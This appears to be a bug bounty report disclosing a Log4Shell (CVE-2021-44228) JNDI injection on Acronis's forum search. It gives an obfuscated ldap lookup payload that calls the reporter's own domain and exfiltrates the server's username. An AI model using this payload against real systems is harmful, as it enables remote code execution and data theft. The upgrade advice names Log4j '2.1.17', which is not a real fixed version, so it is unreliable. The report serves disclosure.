Acronis: [forum.acronis.com] JNDI Code Injection due an outdated log4j component

Summary

Hi team,

It seems that the machine is affected by the latest CVE-2021-44228 which grants any authenticated user command execution. The vulnerability affects the remote asset forum.acronis.com and this issue allows to remote attackers to perfom Remote Code Execution via JNDI exfiltration.

Steps To Reproduce

Vulnerable request is: https://forum.acronis.com/search?s=${j${main:\k5:-Nd}i${spring:k5:-:}ldap://${sys:user.name}-04363f1f3427b48.test3.ggdd.co.uk/}.

Which generates a pingback exfiltrating the information to my controlled server ggdd.co.uk:

{F1551515}

We can see that the system username is solr.

Recommendations

Upgrade Log4j to latest version, 2.1.17.

Impact

Remote OS command injection via JNDI queries.